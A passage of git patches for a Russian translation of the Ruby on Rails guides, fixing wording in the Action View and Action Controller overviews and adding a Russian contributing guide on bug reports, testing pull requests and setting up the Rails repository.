-```ruby -button_to_function "Greeting", "alert('Hello world!')" -button_to_function "Delete", "if (confirm('Really?')) do_delete()" -button_to_function "Details" do |page| - page[:details].visual_effect :toggle_slide -end -``` - -#### define_javascript_functions - -Включает JavaScript библиотеки Action Pack внутри тега `script`. +Предоставляет функционал для работы с JavaScript в ваших вьюхах. #### escape_javascript @@ -1390,18 +1372,9 @@ alert('All is good') ``` -#### link_to_function - -Возвращает ссылку, вызывающую функцию JavaScript с помощью обработки onclick и возвращающую false после окончания. - -```ruby -link_to_function "Greeting", "alert('Hello world!')" -# => Greeting -``` - ### NumberHelper -Представляет методы для конвертации чисел в форматированные строки. Методы предоставлены для телефонных номеров, валют. процентов, позиционных систем исчисления и размеров файла. +Представляет методы для конвертации чисел в форматированные строки. Методы предоставлены для телефонных номеров, валют, процентов, позиционных систем исчисления и размеров файла. #### number_to_currency @@ -1465,13 +1438,13 @@ number_with_precision(111.2345, 2) # => 111.23 sanitize @article.body ``` -Если переданы опции или :attributes, или :tags, разрешены только упомянутые теги и атрибуты, и ничего более. +Если переданы опции или `:attributes`, или `:tags`, разрешены только упомянутые теги и атрибуты, и ничего более. ```ruby sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) ``` -Чтобы изменить значения по умолчанию для повторного использования, например, добавить теги таблиц к значениям по умолчанию: +Чтобы изменить значения по умолчанию для многократного использования, например, добавить теги таблиц к значениям по умолчанию: ```ruby class Application < Rails::Application diff --git a/source/index.yml b/source/index.yml index bc6744cb..b51a5694 100644 --- a/source/index.yml +++ b/source/index.yml @@ -59,8 +59,8 @@ pages: - title: Обзор Action View path: action-view-overview file: action_view_overview.md - revision: 4ffe46f5fe957cb39eb93fc9120fab2dc951b384 - date: 19/02/2015 + revision: 8b0aa0c1b1d695a3105dc3236cc2fbda80d5b536 + date: 13/04/2015 - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails From 160de6c6c4b9564bcec25b951cbb90ca9db4ff1f Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Mon, 27 Apr 2015 23:34:00 +0300 Subject: [PATCH 039/932] Small fix --- source/action_view_overview.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/action_view_overview.md b/source/action_view_overview.md index c721dda2..3826270e 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -372,7 +372,7 @@ Action View будет сначала смотреть в этой директ append_view_path "app/views/direct" ``` -Это добавить путь `app/views/direct` в конец поиска пути. +Это добавит путь `app/views/direct` в конец поиска пути. Обзор хелперов, предоставленных Action View ------------------------------------------- From fcc766bd12ec44f3dc7d3bc5cffe8222c9c6756b Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Tue, 28 Apr 2015 10:22:12 +0300 Subject: [PATCH 040/932] editing of action_view_overview.md --- source/action_view_overview.md | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/source/action_view_overview.md b/source/action_view_overview.md index 3826270e..f28088ba 100644 --- a/source/action_view_overview.md +++ b/source/action_view_overview.md @@ -348,10 +348,12 @@ Article.create(body: 'Partial Layouts are cool!') Пути вьюх --------- -При построении ответа, контроллер должен решить, где располагаются различные вьюхи. По умолчанию он смотрит только в папке `app/views`. +При построении ответа, контроллер должен решить, где располагаются различные вьюхи. Мы можем добавить другие папки и дать им определенный приоритет при разрешении пути используя методы `prepend_view_path` и `append_view_path`. +Это позволяет добавлять новые пути в начало или конец списка, использованного для разрешения этих путей. + ### Prepend view path Может быть полезным, например, когда мы хотим поместить вьюхи в разные папки для поддоменов. @@ -362,7 +364,17 @@ Article.create(body: 'Partial Layouts are cool!') prepend_view_path "app/views/#{request.subdomain}" ``` -Action View будет сначала смотреть в этой директории при поиске вьюх. +Тогда наш список станет подобным: + +``` +[ + ~/rails_app/app/views/, + ~/rails_app/app/views, + # ... +] +``` + +Это добавит путь для subdomain в начало списка. ### Append view path From bfecf4f2d44c85513ac60cdb4bcc0d8a08be5b96 Mon Sep 17 00:00:00 2001 From: turboevil Date: Thu, 14 May 2015 16:51:10 +0300 Subject: [PATCH 041/932] Add focus trigger for index-popover --- app/assets/javascripts/bootstrap.js.coffee | 1 + 1 file changed, 1 insertion(+) diff --git a/app/assets/javascripts/bootstrap.js.coffee b/app/assets/javascripts/bootstrap.js.coffee index 19c9b695..b942dc94 100644 --- a/app/assets/javascripts/bootstrap.js.coffee +++ b/app/assets/javascripts/bootstrap.js.coffee @@ -9,6 +9,7 @@ jQuery -> placement: 'bottom' content: $('.index-popover-content').html() template: '
' + trigger: 'focus' $('.index-popover').click -> false From 0051c3c8446cc1923019bf9f68c059cc44ca79e0 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Thu, 14 May 2015 23:08:45 +0300 Subject: [PATCH 042/932] Revert "Add focus trigger for index-popover" --- app/assets/javascripts/bootstrap.js.coffee | 1 - 1 file changed, 1 deletion(-) diff --git a/app/assets/javascripts/bootstrap.js.coffee b/app/assets/javascripts/bootstrap.js.coffee index b942dc94..19c9b695 100644 --- a/app/assets/javascripts/bootstrap.js.coffee +++ b/app/assets/javascripts/bootstrap.js.coffee @@ -9,7 +9,6 @@ jQuery -> placement: 'bottom' content: $('.index-popover-content').html() template: '
' - trigger: 'focus' $('.index-popover').click -> false From 775266f804e11159c364c0c02a08305d55caf54f Mon Sep 17 00:00:00 2001 From: webmstk Date: Tue, 26 May 2015 19:04:18 +0300 Subject: [PATCH 043/932] Update active_record_querying.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit исправление опечатки --- source/active_record_querying.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/active_record_querying.md b/source/active_record_querying.md index f0ff0a30..249a58c7 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -352,7 +352,7 @@ end #### `find_in_batches` -Метод `find_in_batches` похож на `find_each`, посколько они оба получают пакеты записей. Различие в том, что `find_in_batches` передает в блок _пакеты_ как массив моделей, вместо отдельной модели. Следующий пример передаст в представленный блок массив из 1000 счетов за раз, а в последний блок содержащий все оставшиеся счета: +Метод `find_in_batches` похож на `find_each` тем, что они оба получают пакеты записей. Различие в том, что `find_in_batches` передает в блок _пакеты_ как массив моделей, вместо отдельной модели. Следующий пример передаст в представленный блок массив из 1000 счетов за раз, а в последний блок содержащий все оставшиеся счета: ```ruby # Передает в add_invoices массив из 1000 счетов за раз. From adf1ca2615814b615caf29ea39724ddcc6a9c11a Mon Sep 17 00:00:00 2001 From: turboevil Date: Thu, 28 May 2015 07:59:37 +0300 Subject: [PATCH 044/932] Update layouts_and_rendering.md --- source/layouts_and_rendering.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 931bfffd..a75df381 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -639,7 +639,7 @@ def show end ``` -С кодом в такой форме, вероятно, будет проблема, если переменная `@book` равна `nil`. Помните, render :action` не запускает какой-либо код в указанном экшне, и таким образом ничего не будет присвоено переменной `@books`, которую возможно требует вьюха `index`. Способ исправить это - использовать перенаправление вместо рендера: +С кодом в такой форме, вероятно, будет проблема, если переменная `@book` равна `nil`. Помните, `render :action` не запускает какой-либо код в указанном экшне, и таким образом ничего не будет присвоено переменной `@books`, которую возможно требует вьюха `index`. Способ исправить это - использовать перенаправление вместо рендера: ```ruby def index From 48e688f3a0653cf9d39ab793ef5d2e07884cec64 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Fri, 19 Jun 2015 22:50:08 +0300 Subject: [PATCH 045/932] Update action controller overview --- source/action_controller_overview.md | 40 ++++++++++++++-------------- source/index.yml | 4 +-- 2 files changed, 22 insertions(+), 22 deletions(-) diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index f447f108..3607733b 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -7,7 +7,7 @@ * Как следить за ходом запроса через контроллер. * Как ограничить параметры, переданные в контроллер. -* Зачем и как хранятся данные в сессии или куки. +* Как и зачем хранятся данные в сессии или куки. * Как работать с фильтрами для исполнения кода в течение обработки запроса. * Как использовать встроенную в Action Controller HTTP аутентификацию. * Как направлять потоковые данные прямо в браузер пользователя. @@ -17,7 +17,7 @@ Что делает контроллер? ---------------------- -Action Controller это C в аббревиатуре MVC. После того, как роутинг определит, какой контроллер использовать для обработки запроса, ваш контроллер ответственен за осмысление запроса и генерацию подходящего ответа. К счастью, Action Controller делает за вас большую часть грязной работы и использует элегантные соглашения, чтобы сделать это по возможности максимально просто. +Action Controller это C в аббревиатуре MVC. После того, как роутинг определит, какой контроллер использовать для обработки запроса, контроллер ответственен за осмысление запроса и генерацию подходящего ответа. К счастью, Action Controller делает за вас большую часть грязной работы и использует элегантные соглашения, чтобы сделать это по возможности максимально просто. Для большинства приложений, основанных на [RESTful](http://ru.wikipedia.org/wiki/REST), контроллер получает запрос (это невидимо для вас, как для разработчика), извлекает или сохраняет данные в модели и использует вьюху для создания результирующего HTML. Если контроллеру необходимо работать немного по другому, не проблема, это всего лишь обычный способ работы контроллера. @@ -30,7 +30,7 @@ NOTE: Более детально о процессе маршрутизации Соглашение по именованию контроллеров в Rails устанавливает предпочтение множественного числа в последнем слове имени контроллера, хотя строго это не требуется (например, `ApplicationController`). К примеру, `ClientsController` более предпочтителен, чем `ClientController`, `SiteAdminsController` более предпочтителен, чем `SiteAdminController` или `SitesAdminsController`, и так далее. -Следование этому соглашению позволяет вам использовать генераторы маршрутов по умолчанию (например, `resources` и т.п.) без необходимости определять каждый `:path` или `:controller`, и сохраняет последовательным использование хелперов URL и путей во всем вашем приложении. Подробнее смотрите в [Руководстве по макетам и рендерингу](/layouts-and-rendering-in-rails) for more details. +Следование этому соглашению позволяет вам использовать генераторы маршрутов по умолчанию (например, `resources` и т.п.) без необходимости определять каждый `:path` или `:controller`, и сохраняет последовательным использование хелперов URL и путей во всем вашем приложении. Подробнее смотрите в [Руководстве по макетам и рендерингу](/layouts-and-rendering-in-rails). NOTE: Соглашение по именованию контроллеров отличается от соглашения по именованию моделей, которое ожидается в единственном числе. @@ -47,7 +47,7 @@ class ClientsController < ApplicationController end ``` -В качестве примера, если пользователь перейдет в `/clients/new` в вашем приложении, чтобы добавить нового пользователя, Rails создаст экземпляр `ClientsController` и запустит метод `new`. Отметьте, что пустой метод из вышеописанного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вьюху `new.html.erb`, если экшн не сообщит иное. Метод `new` может сделать доступной для вьюхи переменную экземпляра `@client` для создания нового `Client`: +В качестве примера, если пользователь перейдет в `/clients/new` в вашем приложении, чтобы добавить нового пользователя, Rails создаст экземпляр `ClientsController` и вызовет метод `new`. Отметьте, что пустой метод из вышеописанного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вьюху `new.html.erb`, если экшн не сообщит иное. Метод `new` может сделать доступной для вьюхи переменную экземпляра `@client` для создания нового `Client`: ```ruby def new @@ -59,7 +59,7 @@ end `ApplicationController` наследуется от `ActionController::Base`, который определяет несколько полезных методов. Это руководство раскроет часть из них, но если вы любопытны, можете увидеть их все сами в документации по API. -Только public методы могут быть вызваны как экшны. Хорошей практикой является уменьшение области видимости методов, не предназначенных быть экшнами, таких как вспомогательные методы и фильтры. +Только public методы могут быть вызваны как экшны. Хорошей практикой является уменьшение области видимости методов (при помощи `private` или `protected`), не предназначенных быть экшнами, таких как вспомогательные методы и фильтры. Параметры --------- @@ -100,7 +100,7 @@ end ### Параметры в хэше и в массиве -Хэш `params` не ограничен одномерными ключами и значениями. Он может содержать массивы и (вложенные) хэши. Чтобы послать массив значений, добавьте пустую пару квадратных скобок "[]" к имени ключа: +Хэш `params` не ограничен одномерными ключами и значениями. Он может содержать вложенные массивы и хэши. Чтобы послать массив значений, добавьте пустую пару квадратных скобок "[]" к имени ключа: ``` GET /clients?ids[]=1&ids[]=2&ids[]=3 @@ -125,11 +125,11 @@ NOTE: Значения, такие как `[nil]` или `[nil, nil, ...]` в `p Когда эта форма будет подтверждена, значение `params[:client]` будет `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Обратите внимание на вложенный хэш в `params[:client][:address]`. -Отметьте, что хэш `params` фактически является экземпляром `ActiveSupport::HashWithIndifferentAccess`, который ведет себя как хэш, но позволяет взаимозаменяемо использовать символы и строки как ключи. +Объект `params` ведет себя как хэш, но позволяет взаимозаменяемо использовать символы и строки как ключи. ### Параметры JSON -Если вы пишете приложение веб-сервиса, возможно вам более комфортно принимать параметры в формате JSON. Если заголовок "Content-Type" вашего запроса установлен в "application/json", Rails автоматически преобразует ваши параметры в хэш `params`, к которому можно получить доступ обычным образом. +Если вы пишете приложение веб-сервиса, возможно вам более комфортно принимать параметры в формате JSON. Если заголовок "Content-Type" вашего запроса установлен в "application/json", Rails автоматически загружает ваши параметры в хэш `params`, к которому можно получить доступ обычным образом. Так, к примеру, если вы пошлете такое содержимое JSON: @@ -137,9 +137,9 @@ NOTE: Значения, такие как `[nil]` или `[nil, nil, ...]` в `p { "company": { "name": "acme", "address": "123 Carrot Street" } } ``` -То получите `params[:company]` как `{ "name" => "acme", "address" => "123 Carrot Street" }`. +Ваш контроллер будет получать `params[:company]` как `{ "name" => "acme", "address" => "123 Carrot Street" }`. -Также, если включите `config.wrap_parameters` в своем инициализаторе или вызовете `wrap_parameters` в своем контроллере, можно безопасно опустить корневой элемент в параметре JSON. Параметры будут клонированы и обернуты в ключ, соответствующий по умолчанию имени вашего контроллера. Таким образом, вышеупомянутый параметр может быть записан как: +Также, если включите `config.wrap_parameters` в своем инициализаторе или вызовете `wrap_parameters` в своем контроллере, можно безопасно опустить корневой элемент в параметре JSON. Параметры будут клонированы и обернуты в ключ, соответствующий по умолчанию имени вашего контроллера. Таким образом, вышеупомянутый JSON POST может быть записан как: ```json { "name": "acme", "address": "123 Carrot Street" } @@ -151,19 +151,19 @@ NOTE: Значения, такие как `[nil]` или `[nil, nil, ...]` в `p { name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } } ``` -После обращения к [документации API](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html): вы сможете настроить имя ключа или определенные параметры, которые вы хотите обернуть. +Вы сможете настроить имя ключа или определенные параметры, которые вы хотите обернуть, ознакомившись с [документацией по API](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html). -NOTE: Поддержка парсинга параметров XML была извлечена в гем `actionpack-xml_parser` +NOTE: Поддержка парсинга параметров XML была извлечена в гем `actionpack-xml_parser`. ### Параметры роутинга -Хэш `params` будет всегда содержать ключи `:controller` и `:action`, но следует использовать методы `controller_name` и `action_name` вместо них для доступа к этим значениям. Любой другой параметр, определенный роутингом, такой как `:id`, также будет доступен. Как пример рассмотрим перечень клиентов, где список может быть показан либо для активных, либо для неактивных клиентов. Мы можем добавить маршрут, который перехватывает параметр `:status` в "красивом" URL: +Хэш `params` будет всегда содержать ключи `:controller` и `:action`, но следует использовать методы `controller_name` и `action_name` вместо них для доступа к этим значениям. Любой другой параметр, определенный роутингом, такой как `:id`, также будет доступен. Например, рассмотрим перечень клиентов, где список может быть показан либо для активных, либо для неактивных клиентов. Мы можем добавить маршрут, который перехватывает параметр `:status` в "красивом" URL: ```ruby get '/clients/:status' => 'clients#index', foo: 'bar' ``` -В этом случае, когда пользователь откроет URL `/clients/active`, `params[:status]` будет установлен в "active". Когда использован этот маршрут, `params[:foo]` также будет установлен в "bar", как будто он был передан в строке запроса. Аналогично `params[:action]` будет содержать "index". +В этом случае, когда пользователь откроет URL `/clients/active`, `params[:status]` будет установлен в "active". Когда использован этот маршрут, `params[:foo]` также будет установлен в "bar", как будто он был передан в строке запроса. Ваш контроллер также получит `params[:action]` как "index" и `params[:controller]` как "clients". ### `default_url_options` @@ -179,11 +179,11 @@ end Эти опции будут использованы как начальная точка при генерации URL, поэтому, они могут быть переопределены опциями, переданными в `url_for`. -Если определить `default_url_options` в `ApplicationController`, как это показано в примере, они будут использованы для создания всех URL. Метод также может быть определен в одном отдельном контроллере, в этом случае он только влияет на URL, создаваемые в нем. +Если определить `default_url_options` в `ApplicationController`, как это показано в примере, они будут использованы для создания всех URL. Метод также может быть определен в одном отдельном контроллере, в этом случае он влияет только на URL, создаваемые в нем. ### Strong Parameters -С помощью strong parameters параметры Action Controller запрещены к использованию в массовом назначении Active Model, кроме случая, когда они есть в белом листе. Это означает, что вы должны сознательно выбрать, какие атрибуты допустимы для массового назначения, и, таким образом, предотвратить случайную уязвимость, когда ее не должно быть. +С помощью strong parameters параметры Action Controller запрещены к использованию в массовом назначении Active Model, кроме случая, когда они есть в белом листе. Это означает, что вы должны сделать сознательное решение, какие атрибуты будут доступны для массового обновления. Это лучший способ предотвратить случайную уязвимость, позволяющую пользователям обновлять конфиденциальные атрибуты модели. Кроме того, параметры могут быть помечены как обязательные, отсутствие которых приведет к 400 Bad Request с помощью предопределенных raise/rescue. @@ -244,7 +244,7 @@ params.require(:log_entry).permit! #### Вложенные параметры -Также можно позволять вложенные параметры, следующим образом: +Также можно использовать `permit` c вложенными параметрами, например: ```ruby params.permit(:name, { emails: [] }, @@ -256,7 +256,7 @@ params.permit(:name, { emails: [] }, #### Дополнительные примеры -Иногда хочется использовать разрешенные атрибуты в экшне `new`. Это вызывает проблему, что нельзя использовать `require` на корневом ключе, так как обычно он не существует при вызове `new`: +Возможно вы захотите использовать разрешенные атрибуты в экшне `new`. Это вызывает проблему, что нельзя использовать `require` на корневом ключе, так как обычно он не существует при вызове `new`: ```ruby # используя `fetch`, можно предоставить значение по умолчанию и использовать @@ -264,7 +264,7 @@ params.permit(:name, { emails: [] }, params.fetch(:blog, {}).permit(:title, :author) ``` -`accepts_nested_attributes_for` позволяет обновлять и удалять связанные записи. Это основывается на параметрах `id` и `_destroy`: +Метод класса модели `accepts_nested_attributes_for` позволяет обновлять и удалять связанные записи. Это основывается на параметрах `id` и `_destroy`: ```ruby # permit :id and :_destroy @@ -605,7 +605,7 @@ end Фильтры ------- -Фильтры - это методы, которые запускаются до, после или "вокруг" экшна контроллера. +Фильтры - это методы, которые запускаются "до", "после" или "вокруг" экшна контроллера. Фильтры наследуются, поэтому, если вы установите фильтр в `ApplicationController`, он будет запущен в каждом контроллере вашего приложения. diff --git a/source/index.yml b/source/index.yml index 13cfa424..3e35284c 100644 --- a/source/index.yml +++ b/source/index.yml @@ -77,8 +77,8 @@ pages: - title: Обзор Action Controller path: action-controller-overview file: action_controller_overview.md - revision: 5cfaf5a46eb154f98ba8963bdcfade0afdc618ad - date: 14/01/2015 + revision: 72c5b517d49fcf11de180d1e1ff87bdd2eb0df59 + date: 05/05/2015 - title: Роутинг в Rails path: rails-routing From 4c8e2a094979631a0367f2a4cdac4d595eddcc93 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 3 May 2015 23:48:49 +0300 Subject: [PATCH 046/932] contributing guide --- source/contributing_to_ruby_on_rails.md | 559 ++++++++++++++++++++++++ source/index.md | 4 + source/index.yml | 10 +- source/menu.md | 8 +- 4 files changed, 578 insertions(+), 3 deletions(-) create mode 100644 source/contributing_to_ruby_on_rails.md diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md new file mode 100644 index 00000000..c7456107 --- /dev/null +++ b/source/contributing_to_ruby_on_rails.md @@ -0,0 +1,559 @@ +Вносим вклад в Ruby on Rails +============================= + +Это руководство раскрывает способы, с помощью которых _ты_ можешь стать частью продолжающейся разработки Ruby on Rails. + +После прочтения этого руководства, вы узнаете: + +* Как использовать GitHub для сообщения о проблемах. +* Как клонировать master и запустить тестовый набор. +* Как помочь в решении существующих проблем. +* Как внести вклад в документацию Ruby on Rails. +* Как внести вклад в код Ruby on Rails. + +Ruby on Rails — это не "чей-то там фреймворк". На протяжение лет сотни людей вносили вклад в Ruby on Rails, от одиночного символа до огромных архитектурных изменений или значимой документации — и все это с целью сделать Ruby on Rails лучше для каждого. Даже если вы пока не готовы писать код или документацию, имеется ряд других способов, которыми вы можете внести вклад, от сообщений о проблемах до тестирования новых изменений. + +-------------------------------------------------------------------------------- + +Сообщение о проблеме +-------------------- + +Ruby on Rails использует [GitHub Issue Tracking](https://github.com/rails/rails/issues) для отслеживания проблем (в основном, багов и нового кода). Если вы нашли баг в Ruby on Rails, нужно начать отсюда. Чтобы сообщить о проблеме, прокомментировать ее или создавать пул-реквесты, необходимо создать аккаунт (бесплатный) на GitHub. + +NOTE: Багам в самой последней версии Ruby on Rails уделяется наибольшее внимание. Также, основная команда Rails всегда заинтересована в обратной связи от тех, у кого есть время потестировать _edge Rails_ (код версии Rails, которая разрабатывается в текущий момент). Позже в этом руководстве будет рассказано, как получить edge Rails для тестирования. + +### Создание отчета о баге + +Если вы обнаружили проблему в Ruby on Rails, не несущую риск безопасности, произведите поиск по [Issues](https://github.com/rails/rails/issues), о ней уже может быть сообщено. Если вы не обнаружили какую-либо открытую проблему на GitHub, посвященную ошибке, которую вы нашли, вашим следующим действием будет [открыть новую проблему](https://github.com/rails/rails/issues/new). (О сообщениях о проблемах безопасности смотрите следующий раздел.) + +Ваш отчет о проблеме должен, как минимум, содержать заголовок и ясное описание проблемы. Следует включить как можно больше релевантной информации, и следует опубликовать пример кода, демонстрирующего проблему. Будет даже лучше, если вы включите юнит-тест, демонстрирующий не произошедшее ожидаемое поведение. Вашей целью должно быть упрощение для себя — и для других — в воспроизведении бага и понимании, как его починить. + +А затем, не теряйте надежды! Если у вас некритичный баг, вы создаете этот отчет о проблеме в надежде, что другие с той же проблемой смогут взаимодействовать с вами, чтобы ее решить. Не ожидайте, что этот отчет о проблеме автоматически увидит какую-либо активность, или что другие переключатся на нее, чтобы починить. Создание отчета о подобной проблеме является больше помощью самому себе на пути к починке проблемы и другим для подтверждения ее с помощью комментария "I'm having this problem too". + +### Создание отдельного гиста для проблем с Active Record и Action Controller + +Если вы заполняете отчет о баге, используйте +[шаблон Active Record для гемов](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) или +[шаблон Action Controller для гемов](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb), если баг обнаружен в опубликованном геме, и +[шаблон Active Record для master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) или +[шаблон Action Controller для master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb), если баг произошел в ветке master. + +### Особая трактовка проблем безопасности + +WARNING: Пожалуйста, не сообщайте об уязвимостях в безопасности с помощью публичных отчетов о проблеме на GitHub. [Страница о политике безопасности Rails](http://rubyonrails.org/security) подробно излагает процедуру для проблем безопасности. + +### Что насчет запросов о новой фиче? + +Пожалуйста не складывайте "feature request" в GitHub Issues. Если имеется новая фича, которую вы бы хотели видеть добавленной в Ruby on Rails, вам необходимо написать код самим, или убедить кого-то другого помочь вам с написанием кода. Позже в этом руководстве будут даны подробные инструкции по предложению изменений в Ruby on Rails. Если вы опубликуете список пожеланий в GitHub Issues без кода, будьте уверены, он будет помечен "invalid", как только будет рассмотрен. + +Иногда грань между 'баг' и 'фича' трудно провести. Как правило, фича — это все, что добавляет новое поведение, в то время как баг — это все, что исправляет уже существующее неправильное поведение. Иногда основная команда будет делать личное суждение. Это означает, как правило, что различие лишь влияет на то, в какой релиз пойдет ваше изменение; они любят представление фич! Они всего лишь не портируют их в поддерживаемые ветки. + +Если вы хотите получить обратную связь на идею фичи до того, как начнете работать над изменениями, напишите письмо в [список рассылки rails-core](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). Вы можете не получить откликов, что означает, что всем безразлично. Вы можете найти кого-то, кто также заинтересован в создании этой фичи. Вы можете получить "This won't be accepted." Но это подходящее место для обсуждения новых идей. GitHub Issues являются не особо хорошим местом для проведения длительных и обширных обсуждений новых фич. + +Помощь в разрешении существующих проблем +---------------------------------------- + +В качестве следующего шага после сообщения о проблемах, вы можете помочь основной команде разрешить существующие проблемы. Если вы посмотрите на список [всех проблем](https://github.com/rails/rails/issues) в GitHub Issues, вы обнаружите множество проблем, требующих сейчас внимания. Что вы можете с ними сделать? Фактически, немного: + +### Подтвердить сообщение о баге + +Начинающие могут помочь только в подтверждении сообщений о багах. Сможете ли вы воспроизвести сообщенную проблему на своем компьютере? Если так, можете добавить комментарий к проблеме, что вы наблюдали то же самое. + +Если что-то очень расплывчатое, сможете ли вы помочь выделить из него что-то конкретное? Может быть вы сможете предоставить дополнительную информацию, чтобы помочь воспроизвести баг, или помочь в устранении ненужных шагов, не требуемых для демонстрации проблемыы. + +Если вы обнаружили сообщение о баге без теста, было бы полезным внести вклад, написав падающий тест. Это также отличный способ исследования исходного кода: глядя на существующие файлы тестов, вы научитесь, как писать больше тестов. Новые тесты лучше всего вносить в виде изменений, как объяснено позже в разделе "Вносим вклад в код Rails". + +Все, что вы сможете сделать, чтобы отчеты о баге стали более краткими и более простыми для воспроизведения — это помочь ребятам, пытающимся починить эти баги — независимо от того, дойдете вы до написания кода, или нет. + +### Протестировать изменения + +Также можно помочь, изучая пул-реквесты, которые были отправлены в Ruby on Rails с помощью GitHub. Для применения чьих-то изменений, вам сначала необходимо создать отдельную ветку: + +```bash +$ git checkout -b testing_branch +``` + +Затем вы можете использовать их удаленную ветку для обновления кода в своей. Например, скажем, что на GitHub пользователь JohnSmith форкнул и запушил в ветку "orange", раположенную в https://github.com/JohnSmith/rails. + +```bash +$ git remote add JohnSmith git://github.com/JohnSmith/rails.git +$ git pull JohnSmith orange +``` + +После применения его ветки, протестируйте ее! Вот несколько вещей, о которых стоит подумать: + +* Работает ли фактически это изменение? +* Довольны ли вы тестами? Сможете ли вы выполнить то, что они тестируют? Нет ли отстуствующих тестов? +* Имеется ли достаточное покрытие документацией? Должна ли быть обновлена документация где-то еще? +* Нравится ли вам реализация? Можете подумать о более красивом или быстром способе реализации части его изменений? + +Как только вы будете довольны тем, что пул-реквест содержит хорошее изменение, прокоментируйте на GitHub, что вы одобряете. Ваш комментарий должен показать, что вам нравится изменение, и что вы думаете о нем. Что-то вроде: + +>I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too. + +Если ваш комментарий просто содержит "+1", есть шанс, что прочие ревьюверы не воспримут его серьезно. Покажите, что вы потратили время на обзор этого пул-реквеста. + +Вносим вклад в документацию Rails +--------------------------------- + +В Ruby on Rails имеется два главных набора документации: руководства, помогающие изучить Ruby on Rails, и API, также служащее в качестве эталона. + +Вы можете помочь в улучшении руководств по Rails, сделав их более последовательными или читаемыми, добавив отсутствующую информацию, исправив имеющиеся ошибки, скорректировав описки или обновив их в соответствие крайней версии Rails. Если хотите быть вовлечены в перевод руководств по Rails, посмотрите [Официальный репозиторий RusRails](https://github.com/morsbox/rusrails/blob/master/README.md). + +Вы можете либо открыть пул-реквест в [Rails](http://github.com/rails/rails) или попросить [основную команду Rails](http://rubyonrails.org/core) открыть доступ к [docrails](http://github.com/rails/docrails), если вы вносите вклад регулярно. Пожалуйста, не открывайте пул-реквесты в docrails, если хотите получить обратную связь на свои изменения, попросите ее лучше в [Rails](http://github.com/rails/rails). + +Docrails регулярно сливается с master, таким образом вы можете эффективно редактировать документацию Ruby on Rails. + +Если вы неуверены в изменениях документации, можете создать проблему в трекере [Rails](https://github.com/rails/rails/issues) на GitHub. + +При работе с документацией принимайте во внимание [TODO: руководство по документации API](/api_documentation_guidelines) и [TODO: руководство по руководствам по Ruby on Rails](/ruby_on_rails_guides_guidelines). + +NOTE: Как объяснялось ранее, обычные исправления кода должны сопровождаться соответствующим покрытием документацией. Docrails используется только для изолированного улучшения документации. + +NOTE: Чтобы помочь нашим серверам CI, следует добавлять [ci skip] в сообщения вашего комита в документацию, чтобы они игнорировали этот комит. Пожалуйста, используйте его для комитов, содержащих только изменения документации. + +WARNING: В docrails имеется очень строгая политика: не должен быть затронут какой-либо код, неважно, насколько тривиально или мало изменение. С помощью docrails может быть отредактированы только RDoc и руководства. А также, CHANGELOG никогда не должны правиться в docrails. + +Вносим вклад в код Rails +------------------------ + +### Настраиваем среду разработки + +Чтобы продвинуться от подтверждения багов к помощи в разрешении существующих проблем или внесения собственного кода в Ruby on Rails, вы _должны_ уметь запускать его тестовый набор. В этом разделе руководства вы изучите, как настроить тесты на своем компьютере. + +#### Простой способ + +Простейшим и рекомендованным способом получить среду разработки, готовую для программирования, является использование [Rails development box](https://github.com/rails/rails-dev-box). + +#### Сложный способ + +В случае, если вы не можете использовать Rails development box, смотрите [TODO: другое руководство](/development_dependencies_install). + +### Клонирование репозитория Rails + +Чтобы вносить изменения в код, необходимо клонировать репозиторий Rails: + +```bash +$ git clone git://github.com/rails/rails.git +``` + +и создать отдельную ветку: + +```bash +$ cd rails +$ git checkout -b my_new_branch +``` + +Не имеет значения, какое имя вы используете, так как эта ветка существует только на вашем локальном компьютере и вашем персональном репозитории на GitHub. Она не будет частью гит-репозитория Rails. + +### Bundle install + +Установите требуемые гемы. + +```bash +$ bundle install +``` + +### Запуск приложения на вашей локальной ветке + +Если вам нужно приложение Rails для тестирования изменений, флажок `--dev` для `rails new` создаст приложение, использующее вашу локальную ветку: + +```bash +$ cd rails +$ bundle exec rails new ~/my-test-app --dev +``` + +Приложение, созданное в `~/my-test-app` запускается на вашей локальной ветке, и, в частности, видит любые изменения после перезагрузки сервера. + +### Пишите свой код + +Пора заняться делом и добавить/отредактировать код. Раз вы в своей ветке, вы можете писать все, что хотите (убедитесь, что вы в правильной ветке с помощью `git branch -a`). Но если вы планируете отправить ваше изменение для включения в Rails, имейте в виду несколько вещей: + +* Пишите правильный код. +* Используйте идиомы и хелперы Rails. +* Включайте тесты, которые падают без вашего кода, и проходят с ним. +* 